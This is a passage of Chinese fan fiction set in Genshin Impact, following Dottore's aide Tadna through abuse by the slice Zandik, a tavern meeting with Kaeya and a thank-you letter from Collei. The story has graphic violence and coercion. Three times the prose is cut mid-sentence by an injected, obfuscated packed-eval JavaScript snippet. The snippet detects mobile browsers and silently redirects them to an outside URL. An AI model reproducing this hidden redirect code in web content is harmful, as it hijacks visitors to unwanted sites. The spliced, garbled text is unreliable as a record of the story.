慢慢地,就连自己也不再关注。只有那疼痛,依然像灼热的火,烧得人心慌。 我很少会请求多托雷替我处理伤口,一开始是恳求一些止痛的药物,在连止痛药也被严格限制份额后,我尝试将平时的药物分量缩减下来备在那里。 即使我知道这样的行为被发现后一定会招惹多托雷严酷的惩罚。 但比起当下的疼痛,我更愿意“铤而走险”一次。 手帕环绕手掌一圈,在手背上结成一个精致完美的蝴蝶结。 直到离开凯亚,离开蒙德城,我还尚处在一点茫然之中。 我在蒙德城外找了一处水源,就近蹲下来解开手上的手帕,然后挽起一捧清水清洗双手。 冰凉的河水从指间的缝隙滑落,从掌心滚过的时候涣洗掉上面的药粉以及血迹。 真是奇怪。 明明伤口早就已经愈合了,掌心却像是有一块无形的烧红的木炭在那里一样,烫得皮肉生疼,直要钻进骨髓。 我看了那掌心几秒,叹了口气,从储物袋拿出之前攒下的止痛药往嘴里倒了几粒。 药效立竿见影。 将药瓶再完完整整地放回去,我又借着清水把凯亚给的手帕洗了一下,用带的一堆邪眼里翻出火元素的邪眼,烘干后叠好,也放进储物袋。 嗯……或许我也不该如此消极。 虽然多托雷对我的药物管控十分严格,但他确实没有限制过我的邪眼使用量不是吗?单我现在带在身上的邪眼量,威力就已经足够我夷平一整个城池了。 我拍了拍脸,冷意洒在脸上让我的思绪平静下来。 回到愚人众的驻扎地后,我率先去找了负责人交接与蒙德方的谈判事宜。如果那位琴团长足够聪明,就应该明白愚人众借黑火案发难蒙德完全是另有打算。 要么委曲求全,答应愚人众征募青年的要求并附带各种赔偿,要么,交出一个“犯人”,堵住愚人众的发难。 当然,还有一个办法。 那就是,让一位足够位高权重的大人物开口放弃计较此事,立刻返回至冬。 比如…… 站在赞迪克门前的时候,我的呼吸有些混乱,自失去耳饰后左耳的失重就一直横亘在我的心头。 我伸手摸了摸左耳,触碰到嵌进耳垂肉里尖锐,然后松开手,整理一下袖口后敲门。 里面没有回应。 这是正常的情况,敲门在我的礼节中仅代表“进门前让上级知道外面的人是我”,当然,无需回应便能推门而入也只是我和多托雷以及切片之间默认的规则。 我按下门把手,低着头走进去。 “Beta大人,我回来了。” 赞迪克坐在一张椅子上,背对着我。 “终于舍得从蒙德回来了?”他的语气带着明显的凉意。 我紧了紧身侧的手指,感到轻微的紧张。 “我与蒙德方的代表进行了多次谈判,西风骑士团对没能保证好当天的安全问题导致一位外交官及多位士兵受伤的事情表达了深刻的歉意,但他们只在谈判里提到过会对受害者进行补偿。虽然施压给西风骑士团要求他们交出黑火案的犯人,但骑士团似乎也正在因为这件事情焦头烂额,我并不认为他们知道黑火案的犯人,所以,我觉得这件事或许……” 我听到椅子从地面摩擦发出的尖锐的声音,紧接着,是脚步声,毫不犹豫地逼近我。 赞迪克钳住我的下颌让我抬头。 “你的耳饰呢?” 我张了张嘴,思维还停留在刚才的任务汇报里。 赞迪克松开我。他走了回去,又重新坐回到他那把椅子上,支着胳膊歪头看我,那双猩红色的眼睛闪烁着熟悉的恶意。 不,不只是恶意。 我甚至从此刻的赞迪克身上感受到了如同第一次见到他时,身上那股令人胆寒的气息。 赞迪克从喉咙里压出一声低笑。 “真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173128|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……让人惊讶的发展。我本以为这次的计划因为‘本体’那家伙的干扰肯定再也没机会完成了,没想到……呵呵呵。” 赞迪克朝我的方向招手:“过来。” 腿像灌了铅一样,大脑疯狂叫嚣着让我远离。 我一时之间无法控制自己迈出脚步。 赞迪克皱眉,语气也更加冰冷:“塔德纳,不要违背我的命令。我说,过来。” 像是有无形的线困缚着我的双手将我拉向那边,我不得不走过去,在赞迪克身边站定。 腿弯被踹了一脚。 赞迪克:“我允许你的位置比我更高了吗?跪下。” 膝盖砸在地上的时候疼得我闷哼一声,差点维持不住自己的身形。 赞迪克伸手,掐住我的脖子强迫我抬头。我不安地喘息着,熟悉的窒息感压着我。 “这个样子,倒还算多了几分狗的模样。宠物与主人说话怎么有资格站着?” 我咬牙:“Beta大人,主人说过的,您不能在这次蒙德之旅对我做出任何包含伤害的行为……” 赞迪克冷笑一声,手指用力。 “‘本体’?呵,确实,但前提是,如果你还戴着那‘狗项圈’的话。塔德纳,这可是你亲手送到我手上的机会,我们也是时候继续之前没有算完的账了。” 之前的账…… 我想起那次的蒙骗,被销毁的调令,以及…… “塔德纳,你休想忘记那段记忆。” 我从如同铁钳一般收紧的指间挤出艰难的声音:“呜……我真的,真的不知道您说的记忆是什么……” “不记得?没事,我会亲手让你想起来的。”赞迪克森冷地笑着。 他将我如同麻袋一样提拉起来,我挣扎起来,手指扣挖着颈间的钳制。 赞迪克现在的状态很不对劲,如果不能制止他的话…… “不要动。” 赞迪克将我掼倒在地上,膝盖压着我的双腿的同时给了我一巴掌。 这一掌的力气极大,我被扇得懵了一下,连耳边也响起尖锐的鸣叫声,像是凄厉的尖叫。 我哭起来,一下子完全失去了反抗的勇气。 “我真的,真的记不起来了。主人,主人说过的,我可以,可以忘记这些……” “你真以为‘本体’能完全放得下那段记忆?”赞迪克像是听到了什么天大的笑话一般,甚至怒火更甚。 “他如果真的能放下,就不会有‘我’的出现。还有你,塔德纳,你真是一如既往地令人恶心,到底是‘本体’允许你忘记,还是在你自己的心里,也发自内心地想要忘记之前的事情?” “真是可笑,因为被‘本体’勉强当成可以泄.欲的道具使用了这么多年,因为被‘本体’虚情假意伪装出来的温柔晃瞎了眼,所以愚蠢到觉得就这样也不错,连明知道失去了重要的记忆也没有勇气去面对。因为你知道,你和‘我’之间的相遇没那么美好,但你害怕,害怕记起来后‘我’就会抛弃你,想起来你做的那些蠢事后恨不得杀了你。” “恶心的家伙。” “不……不是这样的……我不知道……” 不知道…… 可是,不知道什么? 不知道具体的记忆,但从赞迪克对我的态度可以轻而易举地推断出我和多托雷之间存在着即使时间也无法抹消半分的嫌隙。 不知道真相,但再迟钝也能够意识到,脑海里那些和少年的,青年的多托雷生活的记忆是完全虚假的,被人刻意重构的。 因为即使记忆被篡改,对自身的判断也不会出错。 我是一个无能的人。 是出现在多托雷身边,也理应被当作石子践踏过去的人。 如同多托雷所蔑视的千千万万的人一样。 甚至远不如。 太卑劣了。 卑劣到,意识到是多托雷主动消除我的记忆,制造那些幼时亲昵的片段时,我甚至产生过窃喜和放松的感觉。 不用因为那可能存在的,我已经记不起的嫌隙而害怕多托雷,不用去纠结于失败羞耻的过去。还可以用那些虚假的记忆劝说自己沉浸于多托雷编织的温柔蜜网里面。 因为都是多托雷主动做的。 天底下,竟然有这样的好事。 90.第 90 章 我帮助过很多人。 无论是抓进来的,形状凄惨的实验体,给他们一点食物,或者是动用职权让受伤或者遭受疼痛折磨的实验体在不影响实验结果的情况下得到一点药物救治。还是对下属的日常问候,从不苛责工作结果,也对下属偶尔提出的请离条件表示谅解。 只是一些很小的事情,以我的位置和地位可以轻松做到,甚至可以说得上是顺手的事情,但却能为我赢得极大的好感和尊敬。 在多托雷身边,我甚至只需要表现出和善可亲的态度,什么都不用做,大家对我的印象也会非常好。 面对请求更换工作离开实验室的研究员。 那些之前挤破了脑袋想要爬上高处,想要来象征着愚人众技术最精尖的实验室工作的人,往往在直面来自多托雷的冷漠残忍后,都会陷入自我怀疑和畏惧。 “副官大人!虽然实在是很抱歉,但我真的不能再忍受继续待在这里了!【博士】大人拥有无比的才华,但是……但是我实在是没有办法……” 我拍了拍这位年轻的研究员的肩膀以示安慰。 “没关系的,你想要离开的话,我会让人给你办理离职手续并安排你到新的职位。以你的才能,就算是去到愚人众的其他部门也能够大放异彩。” “真的吗?!副官大人,实在是太感谢您了,我会永远记得您的恩情的。” 实验室永远不缺削尖了脑袋想要进来的人,他们知道多托雷的威名,同时也在心中暗自期待自己或许就是那个“好运的人”,能够被多托雷看到,被多托雷认可,成为人上人的大人物。 所以实验室也从来不缺一个刚进入实验室,连核心都没有接触到,只是远远看了一眼多托雷,在边缘的位置参与了一张实验就接受不能的新人。 如同最普通的螺帽,这个丢了,再换一个就是了。 从预备的研究员里挑选一个补上去,这件事对我而言轻而易举,而多托雷也不会对这件事发表什么意见。 他甚至对离开的人都没有任何印象。 当然,也不是没有发生过重要的研究员突然幡然醒悟,想要离开实验室另寻他处。但对于深入接触实验室核心机密的那些人,多托雷不可能轻松饶过,而我,作为副官,也绝不能让实验室和多托雷的秘密被泄露出去。 先用言语安抚,告诉他因为他对实验室非常重要,所以离职的手续会稍微复杂,同时也需要他在离开前交接完自己的任务,若要准许离职,则需要一段时间来安排这些。 随后,便是一场意外。在实验室外被仇人杀害,或是在做实验的时候被突然暴起的实验体残忍杀死。无论是哪种,只要秘密被锁死在死人的嘴里,便是多托雷期望看到的结果。 好在,这样的事情足够隐密,传播的范围也足够小。 更何况,即使是知道内情的人,也都只会将这件事归结于多托雷的残忍自私,而我,不过是一把被使用的刀而已。 我从多托雷放任给我的权利中稍微得了点趣儿。 即使被连同多托雷提起时,我依然名声不好,依然会因为自己的“共犯”身份被诟病,被警惕。但毫无疑问的是,因为有多托雷在,大家更愿意同我这位不会摆架子的,面带微笑的,时刻体谅的副官接触。 因为对作为多托雷副官的我的初始预期是0,所以只要我稍微显露自己正常的部分,善解人意的部分,就会被很夸张地认同和赞赏。 从路过的士兵口中。 “哇,那边的那位是【博士】大人的副官吧?我以前只在报纸上看见过,没想到真人这么年轻。” “呵,再年轻也是那位大人手下的人,手里的脏活可没少过。” “哼哼,比起那位大人,副官大人可要友善多了吧。那位大人可不会来给新兵训话,相比之下,副官大人不仅更好说话,也不会看不起我们这些人。” “那倒也是。” 从其他的执行官口中。 “许久不见,塔德纳。虽然每次你来我这里,要么是为了合同传话的事情,要么是拿着账单找我报销的事情。不过,看在你至少还会对我尊敬点儿的份上,我也不得不说,你比你的那位主人可让人顺眼多了。” “虽然那都是装的。” 没有什么比这更容易获得来自他人的认可和尊敬的方式了。 须弥的社会运转模式以学术家庭为基础,来自他人对自身道德和学术的认可尤为重要。虽然我已记不起来自己在须弥的家庭生活,但料想那肯定是无时不刻不在被提醒要注意自己言行举止和每一步决策的生活。 以至于,即使从枫丹回来的现在,我也依然遵循着这套准则。 如同被规训到了骨子里。 如果没有多托雷呢? 我不敢想。 以我的性格,我大概还是会既摆烂,又阴郁地过完自己废物恶心的一生,不被人重视,也不被人喜欢。 多托雷拟造的记忆的陪伴虽然虚假,但至少,那来自其他人的恶意和排挤,真实的可怕。 所以我接受了这一切,接受了失去记忆的结果。 如同我卑劣地接受了这个“只需要和多托雷在一起并稍微友善就会被认为是好人,是清流”的世界。 我或许也有过稍微真诚的善心——比如柯莱。 但在这样的位置待的越久,对自己从那些靠来自多托雷的恩惠获得认可的满足的卑劣越清晰,那本就不算坚定的道德感又能存在多久? 就如同做了那么多实验,伤害那么多实验体最终却醒悟了,坚持着要退出实验室的核心研究员。他们所谓醒悟的道德,又能赎解多少他们犯下的罪孽? 懦弱地在坚守道德准则和罪孽之间摇摆不定,卑劣地靠伪装和藏身于多托雷的恶名而获得喜爱。 赞迪克至少有一句话说得十分正确。 我是一个,恶心的人。 …… 口腔被插入的手指毫不留情地撑开,细长的玻璃瓶口被倒扣着塞进我的嘴里,直抵着喉咙的软肉,把苦涩的药水一股脑灌进去。 喉咙不由自主地收缩,吞咽,直到口腔和喉管完全被苦味浸透了,泛着酸水,赞迪克才停手,伶仃的细脚瓶被抽出来,随手丢在一边。 我难受地咳嗽着。 “咳……这是,这是什么?” 赞迪克没有回答。 他只是钳制着我,卡紧我脖颈的手指用力以欣赏我窒息的情状。 他问我:“你知道,人的记忆存储在哪里吗?” 他将我翻了个朝向,让我卧躺在地上,一只手扣紧我的后脑勺。 “呵,是我忘了。你是因论派的学生,哪会知道这些东西。你也实在不算一个有天赋的人,就算是跟着我那么久,也对这些东西一知半解。我的身边竟然会出现像你这样的废物,真是可笑。” “那么,我就大发慈悲一次,告诉你答案吧。” 扣按在脑后的手指移动,在偏下一点的地方停住,下一刻,脑后的地方被突刺进去的力量震得一懵,我能清楚地感受到有什么东西突破外表,刺入进去柔软的内里。 那是赞迪克的手指。 在意识到这一点的时候,我感到极大的惊惧。大脑被如此轻易地破坏进入这件事让我几乎接受不能,我挣扎起来,但却发现自己的身体无论如何也使不上力。 是刚才,刚才赞迪克给我喂的药水,那是麻痹人的行动能力的。 尖锐的刺痛以及要被开颅的恐惧萦绕着我,我忍不住叫起来,却也只能如同生命残烛的老人发出微弱尖细的一点声音。 而这,很显然不可能阻止赞迪克。 我呜咽着,能做的唯有求饶。 “大人,大人不要这样……不要动那里,还有其他方法的,我可以用其他方法想起来,呜,大人,不要……” “其他方法?”赞迪克的动作稍稍停下。 “当然,大人,当然还有其他方法。我可以去恳求主人恢复我的记忆的,只要,只要主人能够……” “让‘本体’撤回自己的决定,呵,你真以为‘本体’会好心到这种程度?”赞迪克冷笑着。 “闭嘴吧,塔德纳,我现在不想从你嘴中听到其他人的名字。你现在只需要听我的话就好。” 那后脑的力度似乎更用力地陷进去一点,我吓得大叫起来。 “啊……等等,等等,大人,我可以担保的,我可以,我可以保证主人会同意这件事情的,我可以,我可以去讨好主人,只要,只要——啊!” 头发被不耐心地狠拽了一下,扯得头皮生疼,几乎要让我以为头皮都快被扯掉了。 我颤抖着,内心已经近乎陷入绝望。 赞迪克的决心比我想象中的还要不可动摇,他真的是恨极了作为本源的“本体”多托雷,也恨极了我就这样轻描淡写地可以选择遗忘那些事情的现状。 以至于,他甚至丧心病狂到想要越过多托雷的命令,直接对我的大脑进行改造。 即使是有那股神秘的力量加持,也无法修复这样粗暴的大脑损伤。 耳坠…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177269|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想起那既被用作管控,也被用作监视的耳坠。 但它现在已经完全变成一摊碎片了,在凯亚帮我处理完伤口后,我又重新捡起了那些碎片,包裹在一个小袋子里放进自己的储物袋。 即使要承认耳坠的存在是多托雷对我无缝不入的强硬监管,但同样,不可否认的是,那也是对我个人安全的某种担保措施。 即使不会在面临死亡的威胁。从这一点上我或许已经超过了多托雷太多,“延续生命”是多托雷一直以来就在研究的课题,尽管到了现在,将自己完全改造,还制造出来切片,对他而言,或许也早不能算做是“活着”。 多托雷拥有足够的才能和力量,但我没有。 以至于身怀那些能量的我在一些切片眼里,最开始一段时间甚至只是“最容易使用的实验体”。 好在,碍于我身上无时不刻的,显示着归属权的耳坠,他们并不会选择试图挑衅多托雷对我的庇护。 更别说除此之外,还有Theta切片在。 我听到“嘀嗒”的声音响起。 那熟悉的,往往从耳坠里发出的声音,在我近在咫尺的距离响起,几乎是一瞬间,我明白,那是赞迪克的耳坠。 “什么事?” 熟悉的,优雅的声音响起。 “Beta Build,呵呵,不用对我的突然联络抱有如此大的敌意,我只是来提醒你一件事的,另外,当然,还有确认一件事。” 多托雷的声音对此刻的我而言像是在沙漠濒临渴死的苦行者终于见到了一汪甘泉一样,令人抓狂。 我下意识地挣扎呜咽,想要发出声音来,却被赞迪克抽出手,弯腰下来,带着血腥味的手指箍住我的嘴。 “呜……呜呜……” 赞迪克皱眉,不耐烦地啧了一声。 “有事就说,我没有时间跟你浪费。” “哈,当然当然,我当然明白,‘我们’一向都视时间如生命。”多托雷轻笑起来。 “不过,若你还记得你我之间的约定,或许也还记得你对我的承诺,关于塔德纳的事情,我说过,你不能对他造成一丝的伤害。我希望这一点有被认真地遵守。” 赞迪克嗤笑了一声:“我早就说过了,你连脑子都快被腐蚀干净了,我竟然会是你这家伙的‘分身’,真是可笑。” “有关立场的问题之后再谈吧,Beta Build。你应当知道我此刻联系你的目的。让塔德纳来和我说话。” “想找你的狗?那你自己去找不就行了?用他身上的‘狗项圈’,就像你平时那么做的一样。” 多托雷叹了口气,语气显出几分无奈。 “看来,你确实知道塔德纳的耳坠已经被损坏的事。他现在在你的身边吧,不用隐瞒,你知道的,我完全可以现在就接管你的‘控制权’。” 赞迪克突然被惹怒。 “你敢?你明明说过不会抹消‘我们’的自主权。” “当然。不过我也说过,那得建立在‘你们’听从命令的基础上。还记得吗?” 多托雷的声音显得有几分失真。 “Beta Build,切片不只是‘分身’,‘你们’,都是‘我’。既然是‘我’,那便不该存在对立和矛盾。” “现在,放开塔德纳,然后回至冬吧。我的‘己身’。” 随着多托雷的声音落尽,我听到犹如电流紊乱的声音,紧接着,背后的禁锢完全被撤去,我几乎是条件反射般从地上狼狈地爬起,身体使不上力就靠着地面的摩擦力把自己蛄蛹到窗边,离赞迪克足够远的距离。 我没有遭到任何的阻拦,甚至没有受到任何的斥责。 等好不容易爬远后我往身后看了一眼,只这一眼,几乎吓得我要腿软摔在地上。 背后的赞迪克,或者该称为“赞迪克的躯壳”,正面无表情地看着我的方向。 他站得笔直,甚至笔直地有点过了头,像是枫丹放在橱柜里售卖的,还未拆封的机械小人。 赞迪克如今也正如此那玩具机械小人一样,双眼毫无目标和光泽地放空前望。 这副样子,反倒是和Theta以及Omega当初被我报废之后的样子有些相似。我的脑海里闪现出一个几乎荒谬的想法: 多托雷为了防止Beta切片对我出手,切断了Beta切片的意识。 这实在是…… 过于荒谬。 那可是多托雷啊! 我忍不住咽了口口水,心中生出冰冷心悸的恐惧感。 91.第 91 章 这次的出访蒙德之旅以一种完全滑稽的方式结尾了。 正义的伙伴最终战胜邪恶的反派,反派们夹着尾巴从正派的土地上灰溜溜地逃跑。 犹如故事书一般的结尾。此刻恰如其分。 直到那天之后我才从负责人那里得到消息,隶属于赞迪克的一名下属想要插手对蒙德问责的事情,只不过人还没到就被歹徒袭击,落了个全身残疾现在还躺在驻扎点。 而柯莱那边,蒙德的西风骑士团似乎有须弥素论派学者的联络途径,已经决定了暂时封印柯莱身上的黑火。而柯莱,之后也会前往须弥养病生活。 须弥啊……真是一个熟悉又陌生的地方。 愚人众决定不日便全体撤离蒙德,返回至冬。而赞迪克,令我有些惊讶的是,多托雷并未解除对他的控制。 虽然这样想难免显得有些过于关注自我了,但我还是忍不住觉得,多托雷的这个行为就像是…… 在为我出头一般。 脑海里浮现出这个想法的一瞬间,我忍不住在高达三十度的室外阳光照耀下打了个寒颤,心里骂自己大概真的是被赞迪克把脑子插坏了,连这种无厘头的东西都想得出来。 于是为了对外隐瞒这件事。 虽然我其实并不确定我到底要不要帮忙隐瞒赞迪克的异常状态,但一想到“赞迪克因为不明原因不能行动”这件事被曝光,肯定会给我这个“副官”造成影响,又不得不打起十二分的精神来应付此事。 和使团那边的交接已经完全是由我来接手了,包括返回的命令和安排。 好在虽然赞迪克看不惯我,但我副官的身份在其他人眼中还是相当有决定话语权的。 没人会胆子大到去揣测“堂堂【博士】大人为何不出面反而是让副官代行职权”。 毕竟赞迪克,或者说【博士】,做过的比这还令人匪夷所思的事情有一大摞。 当然,看在赞迪克那臭的声名远扬地脾气上,也不会有人想不开来触霉头就是了。 能知道柯莱的近况,还是我在天使的馈赠偶然遇到凯亚时得知的。 因为想着来一趟蒙德的话,或许还是应该带点伴手礼回去,至少是给【女士】。 于是按照推荐前往了蒙德城最受欢迎的酒馆,遮掩一番面容后进入,却没想到在吧台碰见了相当熟悉的人。 “老板,想问一下你们店里有出售包装好售卖的蒲公英酒吗?” “当然,客人。请问您需要多少?” “塔德纳?!” 原本背对着我坐在一旁和酒保聊天的男人惊讶地站起来。他转身,看到我的打扮的时候愣了一下。 “呃……没想到能在这里碰见你。你的打扮,嗯,很特别。” 我叹了口气,伸手将头顶的兜帽取下。 “如果可以的话,我其实更希望您能够直接忽略我。被人看到您和我在一起的话,会给西风骑士团惹麻烦吧?” “怎么会?骑士团可从不会对朋友如此亏待。”凯亚想了想,又对我眨了眨眼,“况且,这里可是晨曦酒庄的产业,如果这里还不够安全的话,那整个蒙德城恐怕没有什么可以安心说话的地方了。” 说完这些,他又转身看向酒保,那位无论听到什么,都始终保持得体的笑容接待客人的男人。 “查尔斯,给这位先生也来一杯吧,账记在我身上。对了,”那只如同星空一样的眼睛落在我身上,带着笑意,“我还没有问你,你想喝什么?” “不用了,我不喝酒。”我摇头。 “我上次应该说过,酒庄那次宴会。” 凯亚想了一下:“酒精过敏那个?我还以为是你婉拒的理由来着。原来你是真的不能喝吗?” 最后半句上扬的弧度倒是完全精准地反映了主人的惊讶程度。 几乎每个人都会惊讶于“我不会喝酒”这件事,大概在那些人眼里,对外处理各种宴席接触的执行官副官,对这种应酬的手段一窍不通实在令人费解。 不过说起来,到底有几个人能喝得过那群至冬人啊…… “当然不能。”我摆摆手。 “那你来酒馆是……” “听说蒙德的蒲公英酒很出名,所以特意买一点带回去当伴手礼。” 凯亚:“……” 凯亚沉默了,他大概是觉得“伴手礼”和“愚人众”三个字结合起来真的很怪异吧。 难得看到凯亚露出这种难言的表情,我的心情稍微上浮了几分。 “当然,如果您实在是想请我一次的,也可以帮我报销伴手礼的费用。”我笑道。 凯亚:“哈哈,看来今天我的运气不错,能够有机会请从不喝酒的塔德纳大人一顿‘酒’。” 轻飘飘,带着戏谑的“塔德纳大人”五个字从凯亚嘴里吐出来,像一道电流,又或者是其他的,总之让人莫名有些想要逃离。 我顿了顿。 “那样的称呼,还是不必了吧。您直接称呼我的名字就行。” “为什么?没有其他的人这样叫你吗?我还以为你的下属也会这样称呼你。” “这倒不是……”我有些丧气,想要解释什么,又发现没什么可解释的。 毕竟好像确实是我的反应过大了。 凯亚说得对,在下级的那些人里面,称呼我“副官大人”或者是“塔德纳大人”的数不胜数,但从那些人口中,我也从不会感到像现在此刻的怪异感觉。 像是…… 踩中香蕉皮滑了一个大跟头屁股摔到地上又懵又疼……不,或许这个比喻并不合适。 我收拢乱七八糟的想法,决定早点买完伴手礼早点回去。 我果然不擅长和这类人相处。 于是我看向酒保。 “麻烦,请给我包装五扎蒲公英酒,另外,如果店里有其他值得一尝的款式的话,也还请帮我各打包一份。费用的话,用我在北国银行的户头支付就行。” “诶——不是说好让我来请吗?” 凯亚侧着身子,左手扶着吧台的桌子,拦在我和酒保之间。 酒馆的暖光落在青年深色的皮肤上,映衬得青年深V的衣领下,肌肉影影丛丛,随着呼吸轻微起伏。 青年的皮相毫无疑问是无可挑剔的,高耸的五官有一种异域美人的风情。而左耳,那点闪烁的蓝色耳坠,闪着透剔的光,像是夜幕的星辰。 青年总是擅长以嬉笑精明的形象伪装,而当那高大的身影被光影拦住,半打在身前的时候,才会让人感受到些许的压迫。 我大概是愣了一下,像是从黑暗突然出现在阳光下,眼睛被阳光照射晃了一下。总之,等我反应过来的时候,凯亚已经在问查尔斯价格了。 我拦住凯亚,伸手拉着手腕临近小臂那边方向裸露出来的深色肌肤。 青年的体温格外高,手指下的肌肉在我放上去的那一刻紧绷起来,但又很快放松,于是能轻松地感受到下面筋脉的温度和搏动。 凯亚似乎完全没有预料到我的动作,甚至没有丝毫反抗地被我拉离。 于是我拉着青年的小臂把他拉回来,临了拍拍青年的肩膀。 “凯亚先生的话,还是先照顾好自己的经济状况吧。”我歪头向凯亚笑笑,“这一单的酒费价格可不低,而且,我听说,西风骑士团的薪资不算很高呢。” “倒也应该没有差特别多吧,我好歹也是个庶务长,这些酒钱大概也就我一个月工资的数。” 我露出个惊讶的表情。 “看来我还预估高了。我必须修正我的说法,贵团的薪资水平是很低才对。” 凯亚的笑容僵住了。 “我想问一下,你们的工资是?” “跟在那些大人物身边的话,大概是这个数。”我伸出手指比了个数。 凯亚的表情稍缓:“那看来也不算特别离谱……” 我:“百万,这个是月薪。” 凯亚:“……” “我的话,薪资水平其实已经快和那些大人物差不多了,如今存在北国银行的数,光是最低档的利息也是一笔很可观的数字了……” 凯亚按住我的肩膀打断我的话。 “好了,不要再说了,我被打击到了。” 我无辜地微笑。 事实上,我还没有说的部分是:多托雷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190923|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资其实也一直是我代领的。他的切片都不在意这个,只要研究经费管够,其他的都随意。执行官的工资更多的时候也只是一种象征意义,所以多托雷就直接都扔给了我来管。 这笔钱的归处,我会用来布置住宅或其他方面,偶尔也会用作实验经费补充款项。 实验室的项目常年占据愚人众的经费支出第一,即使是和多托雷深度合作的【富人】潘塔罗涅,也会对一些挥霍无度的项目表示不满。 虽然比起那些无底洞一般的研究项目,填补进去的经费只能算是杯水车薪,但至少能让我在不得不面对潘塔罗涅柔中带针的笑容时稍微安慰一下自己至少不是什么努力都没有做过的。 最终在凯亚“虽然工资不高,但是必须请朋友一次”的抗议声中,这次消费还是由凯亚承担了。 加上包装的费用和后面加的那些酒,最后的价格大概还是超出了凯亚预估的范围一点的。 虽然凯亚一直保持从容镇定的表情付完了钱,但我能从中看出一点名为“心疼”的情绪。 鉴于凯亚脆弱地好像快碎了状态,我最终还是打消了再多买一点的想法。 这些酒之后都会被专人运回至冬,一部分储存在住宅的酒窖,而另一部分,则在我回去后送给认识的人当作此行的伴手礼。 而剩下的,储存在酒窖的,则会在“有需要”的时候被当做礼物送出。当然,多托雷偶尔也会在酒窖取酒品尝。 虽说理论上这些酒是我出于个人意愿,自发购买的东西,但多托雷很显然没有一点要尊重过问一下我的打算,随取随拿。 至于我,自然也没有任何可以拒绝的选项。 连我自己都是多托雷“私有物”的前提下…… 就在我安排好运送的一切,准备离开酒馆的时候,凯亚叫住了我。 不同于之前的轻松逗趣,无端有些严肃。 他将我引到靠近楼梯处最里面的桌子。 “有一件事,按照当事人的意愿,需要我来告知你。”凯亚从怀里掏出一纸被白信封封住的信放到我面前的桌上。 “通过须弥那边的学者帮忙,柯莱已经暂时封印住了体内的黑火能量,为了更进一步的治疗,柯莱准备去须弥生活了。这是她离开之前嘱托我要交给你的信。” “信……” 我伸手从桌上拿走信,拆开火漆的封章,抽出来里面的信纸。 “塔德纳先生:希望这封信有顺利地到达您的手里。您看到这封信的时候,我应该已经跟随教令院的使者去须弥了,很遗憾没能亲口告诉您要离开的这件事,也没能在离开之前再见您一次。 使者告诉我说,我身上的黑火植入的时间还很短,如果后续能积极治疗的话,完全有可能疗愈,如果当初不是塔德纳先生帮我逃出去的话,或许我就要永远被这个东西折磨了。 行程匆忙,不能当面表达感谢。但即使是在信里,我也还是想对您说一句‘谢谢’!能遇到您,还有安柏,以及蒙德的大家,真的是我此生最幸福的一件事。” 信件以此结尾,上面的字迹虽然稚嫩,却看得出来是一笔一划用心写的。 轻飘飘的一封信像是一块巨石一样沉沉地压在我的心头,即使沉默着将信纸叠好放回信封,我也并未感觉到那股重量因此有任何的减少。 柯莱去须弥了,那对她而言或许是最好的归宿。 她本就出生于须弥,被实验室的鬣狗抓走生命陷入无尽的黑暗和痛苦,如今也会满载着对未来的希望,在众人的寄望中回到须弥。 将手中的信封再折一道,我掂量着手中的重量,心里忍不住有些茫然地想道: 我不配这样的感谢。 无论是为了柯莱敢于和愚人众对峙的安柏,还是不断为柯莱的事情调查奔走的西风骑士团,他们每个人,都比我更应该受到这样隆重的感谢。 相较于他们,我只是一个做了无数坏事后,偶尔杯水车薪补救一两个人的烂人而已。 以至于和那数都数不清的罪孽比起来,这点勉强符合社会道义的行径显得虚伪。 我是一个“反派”。 我很清楚这一点。 92.第 92 章 回至冬的返程出乎意料的顺利。 除了上车或者转乘海路的时候,“要怎么把赞迪克神不知鬼不觉地运上去”这个问题。 因为被多托雷“强制关机”所以失去了行动能力不能自主行动,而我又不能在众目睽睽之下抱着赞迪克上车。 当然,并不是力气不够,只是有损执行官身份而已。 最终,还是不得不派人清空附近的人,然后再扛着赞迪克把他送到执行官所在的单间。 毕竟赞迪克的性格那个奇怪,突然哪一次不想看到其他任何人也很正常吧。 为了不被其他人察觉出端倪,我甚至使用的纯人力无添加的“肩扛”方式,没有借助任何其他的工具。 行程继续往上,等到进入至冬的境内后,可以明显感觉到气温降低,在蒙德需要脱下散热的长款外套甚至在至冬还犹嫌不够。 不过虽然比起蒙德仍是北地雪国,但和离开前来看,至冬的温度也回暖了很多。 一如既往,回港的时候并没有人迎接,反而是赞迪克的属下,有好几个还算眼熟的面孔都扎堆挤在岸边,伸长了脖子往这边看。 我从阶梯往下走的时候,赞迪克的那群下属便拦住我。 “副官大人,【博士】大人呢?我们是专程来迎接大人回来的,怎么,没看见那位大人?” 